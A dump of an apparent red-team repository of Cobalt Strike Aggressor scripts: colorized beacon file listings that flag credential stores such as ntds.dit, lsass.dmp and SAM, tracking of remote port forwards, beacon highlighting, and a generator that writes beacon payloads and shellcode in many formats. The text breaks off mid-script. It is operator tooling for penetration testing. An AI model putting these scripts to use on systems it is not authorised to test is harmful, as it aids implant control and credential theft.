| 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /FilesColor.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Color Coded Files Listing. 3 | # 4 | # A nice script that colorizes your `ls` output and keeps track of uploaded files 5 | # to let you highlight them. 6 | # 7 | # Be wary of additional performance hit when listing big directories imposed by 8 | # their listing processing, coloring and sorting that this script does. 9 | # 10 | # Based on the original ProcessColor.cna idea by @r3dQu1nn. 11 | # 12 | # Author: 13 | # Mariusz Banach / mgeeky, '20 14 | # 15 | # (https://github.com/mgeeky) 16 | # 17 | 18 | global('@UPLOADED_FILE_NAMES $TIMES_TO_DISPLAY_COLORS_SCHEME $MAX_OUTPUT_SIZE_TO_COLORIZE'); 19 | 20 | @UPLOADED_FILE_NAMES = @(); 21 | $TIMES_TO_DISPLAY_COLORS_SCHEME = 3; 22 | 23 | # If files listing output is going to be longer than the below threshold, avoid processing 24 | # that output to return results faster 25 | $MAX_OUTPUT_SIZE_TO_COLORIZE = 65536; 26 | 27 | sub interpretSize { 28 | local('$s $size'); 29 | $s = 0L; 30 | $s = long($1); 31 | 32 | if($s == 0) { 33 | $size = ""; 34 | } 35 | else if($s < 1024L) { 36 | $size .= long($s) . "B"; 37 | } 38 | else if($s < long(1024L * 1024L)) { 39 | $size = long(round($s / 1024.0, 1)); 40 | $size .= "KB"; 41 | } 42 | else if($s < long(1024L * 1024L * 1024L)) { 43 | $size = long(round(($s / 1024.0) / 1024, 1)); 44 | $size .= "MB"; 45 | } 46 | else if($s < long(1024L * 1024L * 1024L * 1024L)) { 47 | $size = long(round((($s / 1024.0) / 1024) / 1024, 1)); 48 | $size .= "GB"; 49 | } 50 | 51 | return $size; 52 | } 53 | 54 | set BEACON_OUTPUT_LS { 55 | local('$totalsize @subl $outls $temp $size $s $ext $dotpos $type $lastmod $name @lines @ls'); 56 | this('$once'); 57 | 58 | if(strlen($2) > $MAX_OUTPUT_SIZE_TO_COLORIZE) { 59 | return $2; 60 | } 61 | 62 | @lines = split("\n", ["$2" trim]); 63 | 64 | @configuration = @('config', 'conf', 'json', 'yml', 'xml', 'inf', 'properties', 'settings'); 65 | @sensitive = @('ost', 'dmp', 'sqlite', 'sqlite3', 'kdbx', 'kdb', 'dit', 'kirbi', 'ccache', 'kirbis', 'git'); 66 | @sensitive_files = @('ntds.dit', 'lsass.dmp', 'sam', 'system', 'security'); 67 | @archives = @('rar', 'zip', '7z', 'tar', 'gz', 'bz2', 'iso'); 68 | @exes = @('msi', 'sys', 'exe', 'dll', 'bat', 'sct'); 69 | @docs = @('csv', 'odt', 'dotx', 'dotm', 'docm', 'xlam', 'xll', 'xlm', 'xlsm', 'xltx', 'msg', 'rtf', 'txt', 'pdf', 'docx', 'doc', 'xls', 'xlsx', 'ppt', 'pptx', 'pptm', 'odp', 'ppsm', 'ppa', 'ppam'); 70 | @sources = @('cpp', 'md', 'h', 'hpp', 'c', 'pl', 'sql', 'php', 'py', 'java', 'rb', 71 | 'html', 'js', 'css', 'asp', 'aspx', 'cs', 'vbs', 'vbe', 'jse', 'ps1', 'sln', 'vcxproj', 'csproj', 'gitignore', 'gitmodules', 'gitattributes'); 72 | 73 | 74 | if($once < $TIMES_TO_DISPLAY_COLORS_SCHEME) { 75 | $outls .= "\cC[*]\o Colors scheme:\n"; 76 | $outls .= "\cC[*]\o ---------------------------\n"; 77 | $outls .= "\cC[*]\o Directories: \c8 YELLOW \o\n"; 78 | $outls .= "\cC[*]\o Cobalt Strike Uploaded Files: \cBBLUE\o\n"; 79 | $outls .= "\cC[*]\o Sensitive files: \c4 RED \o\n"; 80 | $outls .= "\cC[*]\o Configuration files: \c3 DARK GREEN \o\n"; 81 | $outls .= "\cC[*]\o Archives: \c7 ORANGE \o\n"; 82 | $outls .= "\cC[*]\o Source codes: \cC DARK BLUE \o\n"; 83 | $outls .= "\cC[*]\o Executables: \cD MAGENTA \o\n"; 84 | $outls .= "\cC[*]\o Documents: \c9 GREEN \o\n"; 85 | $once += 1; 86 | } 87 | 88 | $outls .= "\c9[+]\o Location: \cC" . @lines[0] . "\o\n\n"; 89 | $outls .= " Size Type Last Modified Name\n"; 90 | $outls .= " ---- ---- ------------------- ----\n"; 91 | 92 | @subl = sublist(@lines, 1); 93 | $totalsize = 0L; 94 | 95 | foreach $temp (@subl) { 96 | ($type, $s, $lastmod, $name) = split("\t", $temp); 97 | 98 | if ($name eq "." || $name eq "..") { 99 | continue; 100 | } 101 | 102 | if($type eq "D") { $type = "dir"; } 103 | else if($type eq "F") { $type = "fil"; } 104 | 105 | $s = long($s); 106 | $totalsize += $s; 107 | 108 | $size = interpretSize($s); 109 | $dotpos = lindexOf($name, '.'); 110 | $ext = ""; 111 | if(($dotpos) ) { 112 | $ext = lc(substr($name, $dotpos + 1)); 113 | } 114 | 115 | if($type eq "dir") { 116 | # Directories in YELLOW 117 | push(@ls, %(type => $type, name => $name, entry => "\c8 $[10]size $[7]type\o $[21]lastmod\c8 $name \o")); 118 | } 119 | else if($name in @UPLOADED_FILE_NAMES) { 120 | # Uploaded Files through Cobalt Strike (the ones we still keep track off) in Blue 121 | push(@ls, %(type => $type, name => $name, entry => "\cB $[10]size $[7]type\o $[21]lastmod\cB $name $+ \o")); 122 | } 123 | else if(($ext in @sensitive) || (lc($name) in @sensitive_files)) { 124 | # Sensitive files in Red 125 | push(@ls, %(type => $type, name => $name, entry => "\c4 $[10]size $[7]type\o $[21]lastmod\c4 $name \o")); 126 | } 127 | else if($ext in @exes) { 128 | # Executables in Magenta 129 | push(@ls, %(type => $type, name => $name, entry => "\cD $[10]size $[7]type\o $[21]lastmod\cD $name \o")); 130 | } 131 | else if($ext in @interesting) { 132 | # Configuration files in Dark Green 133 | push(@ls, %(type => $type, name => $name, entry => "\c3 $[10]size $[7]type\o $[21]lastmod\c3 $name \o")); 134 | } 135 | else if($ext in @sources) { 136 | # Source codes in Dark Blue 137 | push(@ls, %(type => $type, name => $name, entry => "\cC $[10]size $[7]type\o $[21]lastmod\cC $name \o")); 138 | } 139 | else if($ext in @archives) { 140 | # Archives in Orange 141 | push(@ls, %(type => $type, name => $name, entry => "\c7 $[10]size $[7]type\o $[21]lastmod\c7 $name \o")); 142 | } 143 | else if($ext in @docs) { 144 | # Documents in Green 145 | push(@ls, %(type => $type, name => $name, entry => "\c9 $[10]size $[7]type\o $[21]lastmod\c9 $name \o")); 146 | } 147 | else { 148 | push(@ls, %(type => $type, name => $name, entry => " $[10]size $[7]type $[21]lastmod $name \o")); 149 | } 150 | } 151 | 152 | sort({ return ($1['type'] cmp $2['type']); }, @ls); 153 | 154 | foreach $temp (@ls) { 155 | $outls .= $temp['entry'] . "\n"; 156 | } 157 | 158 | $totalsize = interpretSize($totalsize); 159 | $outls .= "\nFiles and dirs count: " . size(@ls) . ", total size of files: $totalsize (output len: " . strlen($2) . ")\n"; 160 | return $outls; 161 | } 162 | 163 | sub collectUploadedFiles { 164 | local('%entry %archives'); 165 | %archives = data_query('archives'); 166 | if(size(%archives) == 0) { 167 | return; 168 | } 169 | 170 | foreach %entry (%archives) { 171 | if (%entry['type'] ne "task") { 172 | continue; 173 | } 174 | 175 | if(indexOf(%entry['data'], "upload ") == 0) { 176 | if(%entry['data'] ismatch '^upload ("[^"]+"|[^\s]+) as ("[^"]+"|[^\s]+)$') { 177 | ($from, $to) = matched(); 178 | push(@UPLOADED_FILE_NAMES, getFileName($to)); 179 | } 180 | } 181 | } 182 | } 183 | 184 | on beacon_tasked { 185 | local('$from $to'); 186 | 187 | if($2 ismatch 'Tasked beacon to upload ("[^"]+"|[^\s]+) as (.+)') { 188 | ($from, $to) = matched(); 189 | push(@UPLOADED_FILE_NAMES, getFileName($to)); 190 | } 191 | } 192 | 193 | on beacon_input { 194 | local('$from $to'); 195 | 196 | if ($3 ismatch '^upload2? ("[^"]+"|[^\s]+) ?("[^"]+"|[^\s]+)?$') { 197 | ($from, $to) = matched(); 198 | push(@UPLOADED_FILE_NAMES, getFileName($to)); 199 | } 200 | 201 | # Remove file track as the file was requested to be deleted 202 | #else if ($3 ismatch '(?:shell|powershell|run) del (\w+)') { 203 | # ($from) = matched(); 204 | # $from = getFileName($from); 205 | # if($from in @UPLOADED_FILE_NAMES) { 206 | # remove(@UPLOADED_FILE_NAMES, $from); 207 | # } 208 | #} 209 | } 210 | 211 | collectUploadedFiles(); 212 | -------------------------------------------------------------------------------- /Forwarded_Ports.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Forwarded_Ports.cna 3 | # 4 | # Keeps track of configured remote port forwardings on all Beacons and lets kill them easily. 5 | # 6 | # Using 'rportfwd' here and there quickly consumes pool of available local ports 7 | # from which to forward traffic outbound and keeping track of them manually becomes tedious 8 | # on a long-haul projects. This script aims to fill that gap by collecting these commands 9 | # and presenting them in a nice visualization pane. 10 | # 11 | # CREDIT: 12 | # This script is a reworked version of `leave_no_trace.cna` by Alyssa (ramen0x3f): 13 | # https://github.com/ramen0x3f/AggressorScripts/blob/master/leave_no_trace.cna 14 | # 15 | # who in turn used work made by @001SPARTaN and @r3dqu1nn that came up with `logvis.cna` 16 | # implementation: 17 | # https://github.com/invokethreatguy/AggressorCollection/blob/master/harleyQu1nn/logvis.cna 18 | # 19 | # Author: 20 | # Mariusz Banach / mgeeky, '20 21 | # 22 | # (https://github.com/mgeeky) 23 | # 24 | 25 | import ui.*; 26 | import table.*; 27 | import java.awt.*; 28 | import javax.swing.*; 29 | import javax.swing.table.*; 30 | 31 | global('$forwarded_ports_model $forwarded_ports_table %forwarded_ports_looking'); 32 | 33 | sub create_vis { 34 | ## This is the fancy code from @001SPARTaN and @r3dqu1nn 35 | 36 | local('$sorter $content'); 37 | 38 | $forwarded_ports_model = [new GenericTableModel: @( 39 | "timestamp", 40 | "beacon_id", 41 | "beacon_pid", 42 | "beacon_ip", 43 | "beacon_user", 44 | "local_port", 45 | "remote_host", 46 | "remote_port" 47 | ), 48 | "beacon", 16]; 49 | 50 | # Create a table from the GenericTableModel 51 | $forwarded_ports_table = [new ATable: $forwarded_ports_model]; 52 | 53 | # Controls how the column headers will sort the table 54 | $sorter = [new TableRowSorter: $forwarded_ports_model]; 55 | 56 | # Doubled-toggle will make DESC sort instead of ASC 57 | [$sorter toggleSortOrder: 7]; 58 | [$sorter toggleSortOrder: 7]; 59 | 60 | [$sorter setComparator: 0, { 61 | return $1 cmp $2; 62 | }]; 63 | 64 | [$sorter setComparator: 1, { 65 | return $1 cmp $2; 66 | }]; 67 | 68 | [$sorter setComparator: 2, { 69 | return $1 <=> $2; 70 | }]; 71 | 72 | [$sorter setComparator: 3, { 73 | return $1 cmp $2; 74 | }]; 75 | 76 | [$sorter setComparator: 4, { 77 | return $1 cmp $2; 78 | }]; 79 | 80 | [$sorter setComparator: 5, { 81 | return $1 <=> $2; 82 | }]; 83 | 84 | [$sorter setComparator: 6, { 85 | return $1 <=> $2; 86 | }]; 87 | 88 | [$sorter setComparator: 7, { 89 | return $1 <=> $2; 90 | }]; 91 | 92 | # Set $sorter as the row sorter for $forwarded_ports_table 93 | [$forwarded_ports_table setRowSorter: $sorter]; 94 | 95 | # Create a split pane (divider you can drag around) 96 | $content = [new JScrollPane: $forwarded_ports_table]; 97 | 98 | # Set popup menu for the table 99 | setup_popup($forwarded_ports_table, "forwarded_ports_menu"); 100 | 101 | update_table(); 102 | 103 | # Register the visualization with CS 104 | addVisualization("Forwarded Ports", $content); 105 | return $content; 106 | } 107 | 108 | sub search_archives { 109 | ## Parses archives to pull out uploads for the Leave No Trace tab 110 | ## Returns all the items to add to the model 111 | 112 | local('@output $found @linesAdd @linesRemove @bids %entry $bid'); 113 | @bids = beacon_ids(); 114 | 115 | @output = @(); 116 | @linesAdd = @(); 117 | @linesRemove = @(); 118 | 119 | foreach %entry (data_query("archives")) { 120 | 121 | # To speed search up, we only limit enumeration of task-type entries. 122 | if(%entry['type'] ne "task") { 123 | continue; 124 | } 125 | 126 | # rportfwd add task 127 | if(indexOf(%entry['data'], "forward port ") == 0) { 128 | if(%entry['data'] ismatch 'forward port (\d+) to ([^:]+):(\d+)') { 129 | ($localport, $remotehost, $remoteport) = matched(); 130 | 131 | $bid = %entry['bid']; 132 | if ( $bid !in @bids ) { 133 | continue; 134 | } 135 | 136 | add(@linesAdd, %( 137 | timestamp => %entry['when'], 138 | beacon_id => $bid, 139 | beacon_pid => beacon_info($bid, "pid"), 140 | beacon_ip => beacon_info($bid, "host"), 141 | beacon_user => beacon_info($bid, "user"), 142 | local_port => $localport, 143 | remote_host => $remotehost, 144 | remote_port => $remoteport, 145 | )); 146 | } 147 | } 148 | 149 | # rportfwd stop task 150 | if(indexOf(%entry['data'], "stop port forward on ") == 0) { 151 | if(%entry['data'] ismatch 'stop port forward on (\d+)') { 152 | $localport = matched()[0]; 153 | 154 | $bid = %entry['bid']; 155 | if ( $bid !in @bids ) { 156 | continue; 157 | } 158 | 159 | add(@linesRemove, %( 160 | timestamp => %entry['when'], 161 | beacon_id => $bid, 162 | local_port => $localport, 163 | )); 164 | } 165 | } 166 | } 167 | 168 | sort({ return $1['timestamp'] < $2['timestamp']; }, @linesAdd); 169 | sort({ return $1['timestamp'] < $2['timestamp']; }, @linesRemove); 170 | 171 | # Unfilter lines that stopped remote port forwarding 172 | foreach $lineAdd (@linesAdd) { 173 | $dontAdd = 0; 174 | 175 | foreach $lineRem (@linesRemove) { 176 | if(($lineAdd['local_port'] eq $lineRem['local_port']) && ($lineAdd['beacon_id'] eq $lineRem['beacon_id'])) { 177 | 178 | if($lineRem['timestamp'] >= $lineAdd['timestamp']) { 179 | $dontAdd = 1; 180 | break; 181 | } 182 | } 183 | } 184 | 185 | if($dontAdd == 0) { 186 | $lineAdd['timestamp'] = dstamp($lineAdd['timestamp']); 187 | add(@output, $lineAdd); 188 | } 189 | } 190 | 191 | return @output; 192 | } 193 | 194 | sub setup_popup { 195 | # setup_popup provided by Raphael Mudge 196 | # https://gist.github.com/rsmudge/87ce80cd8d8d185c5870d559af2dc0c2 197 | # we're using fork({}) to run this in a separate Aggressor Script environment. 198 | # This reduces deadlock potential due to Sleep's global interpreter lock 199 | # 200 | # this especially matters as our mouse listener will be fired for *everything* 201 | # to include mouse movements. 202 | fork({ 203 | [$component addMouseListener: lambda({ 204 | if ([$1 isPopupTrigger]) { 205 | # If right click, show popup 206 | show_popup($1, $name, $component); 207 | } 208 | }, \$component, \$name)]; 209 | }, $component => $1, $name => $2, $forwarded_ports_model => $forwarded_ports_model, $forwarded_ports_table => $forwarded_ports_table); 210 | } 211 | 212 | sub update_table { 213 | ## Updates the Leave No Trace tab 214 | ## As a note: when you fork() you have to pass all global 215 | ## variables (see \$forwarded_ports_model and \%forwarded_ports_looking) or you'll go insane. 216 | 217 | fork({ 218 | local('%entry'); 219 | 220 | # Clear the model so we can put new stuff in it. 221 | [$forwarded_ports_model clear: 1024]; 222 | 223 | foreach %entry (search_archives()) { 224 | # Add the new entry to $forwarded_ports_model 225 | [$forwarded_ports_model addEntry: %entry]; 226 | } 227 | # Update with the new table 228 | [$forwarded_ports_model fireListeners]; 229 | }, \$forwarded_ports_model, \%forwarded_ports_looking); 230 | } 231 | 232 | popup forwarded_ports_menu { 233 | item "Kill port forwarding" { 234 | local('$dir $dest $file $ip'); 235 | 236 | foreach $row ([$forwarded_ports_table getSelectedRows]) { 237 | $bid = [$forwarded_ports_model getValueAt: $row, 1]; 238 | $localip = [$forwarded_ports_model getValueAt: $row, 3]; 239 | $localport = [$forwarded_ports_model getValueAt: $row, 5]; 240 | $remotehost = [$forwarded_ports_model getValueAt: $row, 6]; 241 | $remoteport = [$forwarded_ports_model getValueAt: $row, 7]; 242 | 243 | prompt_confirm("Are you sure you want to stop remote port forwarding from $localip $+ : $+ $localport to $remotehost $+ : $+ $remoteport $+ ?", "Stop remote port forwarding", lambda({ 244 | brportfwd_stop($bid, $localport); 245 | show_message("Remote port forwarding from $localip $+ : $+ $localport stopped."); 246 | }, $bid => $bid, $localip => $localip, $localport => $localport)); 247 | } 248 | } 249 | } 250 | 251 | popup view { 252 | item "Remote Forwarded Ports" { 253 | addTab("Remote Forwarded Ports", create_vis(), "All forwarded/remote forwarded ports"); 254 | } 255 | } 256 | 257 | on beacon_error { 258 | if(indexOf($2, "Could not bind to ") == 0) { 259 | # Dummy rportfwd stop to maintain our archives integrity by having both start and stop commands, even 260 | # in a case of failure. 261 | if($2 ismatch 'Could not bind to (\d+)') { 262 | brportfwd_stop!($1, matched()[0]); 263 | } 264 | } 265 | } -------------------------------------------------------------------------------- /Highlight_Beacons.cna: -------------------------------------------------------------------------------- 1 | # 2 | # Highlights new checking-in Beacons green and these exiting ones red for a defined time. 3 | # 4 | # Author: 5 | # Mariusz Banach / mgeeky, "20 6 | # 7 | # (https://github.com/mgeeky) 8 | # 9 | 10 | global('%KNOWN_BEACONS $HIGHLIGHT_DURATION %HIGHLIGHTS'); 11 | 12 | # Hightlight duration expressed in miliseconds 13 | $HIGHLIGHT_DURATION = 5000; 14 | 15 | %HIGHLIGHTS = %( 16 | initial => "good", 17 | exit => "bad", 18 | exited => "ignore", 19 | error => "neutral", 20 | output => "" 21 | ); 22 | 23 | # --------------------------------------- 24 | # Do not alter variables below this point 25 | 26 | %KNOWN_BEACONS = %(); 27 | 28 | sub getBeaconEntry { 29 | return @(bdata($1)); 30 | } 31 | 32 | sub highlightBeacon { 33 | local('@entry $bid $col $cur'); 34 | (@entry, $bid, $col) = @_; 35 | $cur = binfo($bid, "_accent"); 36 | 37 | if($cur ne %HIGHLIGHTS[$col]) { 38 | %KNOWN_BEACONS[$bid]["prev-accent"] = $cur; 39 | highlight("beacons", @entry, %HIGHLIGHTS[$col]); 40 | } 41 | } 42 | 43 | on beacon_initial { 44 | local('@entry'); 45 | 46 | if($1 in keys(%KNOWN_BEACONS)) { 47 | return; 48 | } 49 | 50 | %KNOWN_BEACONS[$1] = %(); 51 | %KNOWN_BEACONS[$1]["ticks"] = ticks(); 52 | 53 | @entry = getBeaconEntry($1); 54 | if(@entry) { 55 | %KNOWN_BEACONS[$1]["status"] = 'initial'; 56 | highlightBeacon(@entry, $1, "initial"); 57 | } 58 | } 59 | 60 | on beacon_output { 61 | local('@entry'); 62 | 63 | if($1 !in keys(%KNOWN_BEACONS)) { 64 | %KNOWN_BEACONS[$1] = %(); 65 | } 66 | 67 | %KNOWN_BEACONS[$1]["ticks"] = ticks(); 68 | 69 | @entry = getBeaconEntry($1); 70 | if(@entry && (%KNOWN_BEACONS[$1]["status"] eq "") && (%HIGHLIGHTS["output"] ne "")) { 71 | highlightBeacon(@entry, $1, "output"); 72 | } 73 | } 74 | 75 | # doesn't work for some reason. 76 | on beacon_output_alt { 77 | local('@entry'); 78 | 79 | if($1 !in keys(%KNOWN_BEACONS)) { 80 | %KNOWN_BEACONS[$1] = %(); 81 | } 82 | 83 | %KNOWN_BEACONS[$1]["ticks"] = ticks(); 84 | 85 | @entry = getBeaconEntry($1); 86 | if(@entry && (%KNOWN_BEACONS[$1]["status"] eq "") && (%HIGHLIGHTS["output"] ne "")) { 87 | highlightBeacon(@entry, $1, "output"); 88 | } 89 | } 90 | 91 | on beacon_error { 92 | local('@entry'); 93 | 94 | if($1 !in keys(%KNOWN_BEACONS)) { 95 | %KNOWN_BEACONS[$1] = %(); 96 | } 97 | 98 | %KNOWN_BEACONS[$1]["ticks"] = ticks(); 99 | 100 | @entry = getBeaconEntry($1); 101 | if(@entry && (%HIGHLIGHTS["error"] ne "")) { 102 | %KNOWN_BEACONS[$1]["status"] = 'error'; 103 | highlightBeacon(@entry, $1, "error"); 104 | } 105 | } 106 | 107 | on beacon_input { 108 | local('@entry'); 109 | 110 | if($1 !in keys(%KNOWN_BEACONS)) { 111 | %KNOWN_BEACONS[$1] = %(); 112 | } 113 | 114 | if ($3 eq "exit") { 115 | %KNOWN_BEACONS[$1]["ticks"] = ticks(); 116 | @entry = getBeaconEntry($1); 117 | if(@entry) { 118 | %KNOWN_BEACONS[$1]["status"] = 'exiting'; 119 | highlightBeacon(@entry, $1, "exit"); 120 | } 121 | 122 | remove(%KNOWN_BEACONS, %KNOWN_BEACONS[$1]); 123 | } 124 | } 125 | 126 | on heartbeat_1s { 127 | local('$diff $b @entry'); 128 | 129 | foreach $bid (keys(%KNOWN_BEACONS)) { 130 | $b = %KNOWN_BEACONS[$bid]; 131 | if("ticks" in keys($b)) { 132 | if(strlen($b["ticks"]) > 0) { 133 | $diff = ticks() - $b["ticks"]; 134 | if($diff >= $HIGHLIGHT_DURATION) { 135 | @entry = getBeaconEntry($bid); 136 | if(@entry) { 137 | if(%KNOWN_BEACONS[$bid]["status"] eq "exiting") { 138 | %KNOWN_BEACONS[$1]["status"] = 'exited'; 139 | highlightBeacon(@entry, $bid, "exited"); 140 | } 141 | else { 142 | #%KNOWN_BEACONS[$bid]["prev-accent"] = binfo($1, "_accent"); 143 | if(%KNOWN_BEACONS[$bid]["prev-accent"] !is $null){ 144 | highlight("beacons", @entry, %KNOWN_BEACONS[$bid]["prev-accent"]); 145 | } 146 | %KNOWN_BEACONS[$1]["status"] = ""; 147 | } 148 | } 149 | 150 | %KNOWN_BEACONS[$bid]["ticks"] = ""; 151 | } 152 | } 153 | } 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Mariusz Banach (mgeeky, ) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Payload_Variants_Generator.cna: -------------------------------------------------------------------------------- 1 | # 2 | # This script generates stageless payload variants per each available architecture and output 3 | # format type. Compatible with Cobalt Strike 4.0+ 4 | # 5 | # Author: Mariusz Banach / mgeeky, '20 6 | # 7 | # 8 | 9 | sub write_payload 10 | { 11 | local('$outpath $filename $data $path $handle'); 12 | ($outpath, $filename, $data) = @_; 13 | 14 | $path = getFileProper($outpath, $filename); 15 | 16 | $handle = openf(">$path"); 17 | writeb($handle, $data); 18 | closef($handle); 19 | } 20 | 21 | sub generate 22 | { 23 | local('%options $outpath'); 24 | %options = $3; 25 | 26 | prompt_directory_open("Choose folder to store generated payload variants", $null, false, lambda({ 27 | $outpath = $1; 28 | write_payload($outpath, %_options["listener"] . "-x86.dll", artifact_payload(%_options["listener"], "dll", "x86")); 29 | write_payload($outpath, %_options["listener"] . "-x64.dll", artifact_payload(%_options["listener"], "dllx64", "x64")); 30 | write_payload($outpath, %_options["listener"] . "-x86.exe", artifact_payload(%_options["listener"], "exe", "x86")); 31 | write_payload($outpath, %_options["listener"] . "-x64.exe", artifact_payload(%_options["listener"], "exe", "x64")); 32 | write_payload($outpath, %_options["listener"] . "-x86.ps1", artifact_payload(%_options["listener"], "powershell", "x86")); 33 | write_payload($outpath, %_options["listener"] . "-x64.ps1", artifact_payload(%_options["listener"], "powershell", "x64")); 34 | write_payload($outpath, %_options["listener"] . "-x86.py", artifact_payload(%_options["listener"], "python", "x86")); 35 | write_payload($outpath, %_options["listener"] . "-x64.py", artifact_payload(%_options["listener"], "python", "x64")); 36 | 37 | write_payload($outpath, %_options["listener"] . "-thread-x86.bin", payload(%_options["listener"], "x86", "thread")); 38 | write_payload($outpath, %_options["listener"] . "-thread-x64.bin", payload(%_options["listener"], "x64", "thread")); 39 | write_payload($outpath, %_options["listener"] . "-process-x86.bin", payload(%_options["listener"], "x86", "process")); 40 | write_payload($outpath, %_options["listener"] . "-process-x64.bin", payload(%_options["listener"], "x64", "process")); 41 | 42 | write_payload($outpath, %_options["listener"] . "-svc-x86.exe", artifact_payload(%_options["listener"], "svcexe", "x86")); 43 | write_payload($outpath, %_options["listener"] . "-svc-x64.exe", artifact_payload(%_options["listener"], "svcexe", "x64")); 44 | 45 | prompt_text("Payload variants generated to:", $outpath, {}); 46 | #add_to_clipboard($outpath); 47 | }, %_options => %options)); 48 | } 49 | 50 | sub format_comma { 51 | $key = $1; 52 | @fmt = str_chunk(transform($key, "hex"), 2); 53 | return "0x". join(",0x", @fmt); 54 | } 55 | 56 | sub format_backslash { 57 | $key = $1; 58 | @fmt = str_chunk(transform($key, "hex"), 2); 59 | return "\\x". join("\\x", @fmt); 60 | } 61 | 62 | sub format_shellcode 63 | { 64 | $format = $1; 65 | $shellcode = $2; 66 | $formatted = ""; 67 | 68 | if ($format eq "raw") { 69 | $formatted = $shellcode; 70 | } 71 | else if ($format eq "hex") { 72 | $formatted = transform($shellcode, "hex"); 73 | } 74 | else if ($format eq "0x90\,0x90,\0x90") { 75 | $formatted = format_comma($shellcode); 76 | } 77 | else if ($format eq "\\x90\\x90\\x90") { 78 | $formatted = format_backslash($shellcode); 79 | } 80 | else if ($format eq "b64") { 81 | $formatted = base64_encode($shellcode); 82 | } 83 | 84 | return $formatted; 85 | } 86 | 87 | sub generate_shellcode 88 | { 89 | local('%options $outpath'); 90 | %options = $3; 91 | 92 | prompt_directory_open("Choose folder to store generated payload variants", $null, false, lambda({ 93 | $outpath = $1; 94 | 95 | $pay1 = ""; 96 | $pay2 = ""; 97 | $name = %_options["listener"] . "-"; 98 | 99 | if(%_options["local"] eq "true") { 100 | if(strlen(%_options["bid"]) == 0) { 101 | show_error("You must select existing Beacon session to generate Local payloads with embedded function pointers!"); 102 | return 0; 103 | } 104 | 105 | $name .= "-local"; 106 | 107 | $pay1 = payload_local(%_options["bid"], %_options["listener"], "x86", "thread"); 108 | $pay2 = payload_local(%_options["bid"], %_options["listener"], "x64", "thread"); 109 | 110 | write_payload($outpath, $name . "thread-x86.bin", format_shellcode(%_options["format"], $pay1)); 111 | write_payload($outpath, $name . "thread-x64.bin", format_shellcode(%_options["format"], $pay2)); 112 | 113 | $pay1 = payload_local(%_options["bid"], %_options["listener"], "x86", "process"); 114 | $pay2 = payload_local(%_options["bid"], %_options["listener"], "x64", "process"); 115 | 116 | write_payload($outpath, $name . "process-x86.bin", format_shellcode(%_options["format"], $pay1)); 117 | write_payload($outpath, $name . "process-x64.bin", format_shellcode(%_options["format"], $pay2)); 118 | } 119 | else { 120 | $pay1 = payload(%_options["listener"], "x86", "thread"); 121 | $pay2 = payload(%_options["listener"], "x64", "thread"); 122 | 123 | write_payload($outpath, $name . "thread-x86.bin", format_shellcode(%_options["format"], $pay1)); 124 | write_payload($outpath, $name . "thread-x64.bin", format_shellcode(%_options["format"], $pay2)); 125 | 126 | $pay1 = payload(%_options["listener"], "x86", "process"); 127 | $pay2 = payload(%_options["listener"], "x64", "process"); 128 | 129 | write_payload($outpath, $name . "process-x86.bin", format_shellcode(%_options["format"], $pay1)); 130 | write_payload($outpath, $name . "process-x64.bin", format_shellcode(%_options["format"], $pay2)); 131 | } 132 | 133 | prompt_text("Payload variants generated to:", $outpath, {}); 134 | #add_to_clipboard($outpath); 135 | }, %_options => %options)); 136 | } 137 | 138 | popup attacks 139 | { 140 | item "Generate payload variants" 141 | { 142 | local('$dialog %defaults'); 143 | 144 | $dialog = dialog("Generate 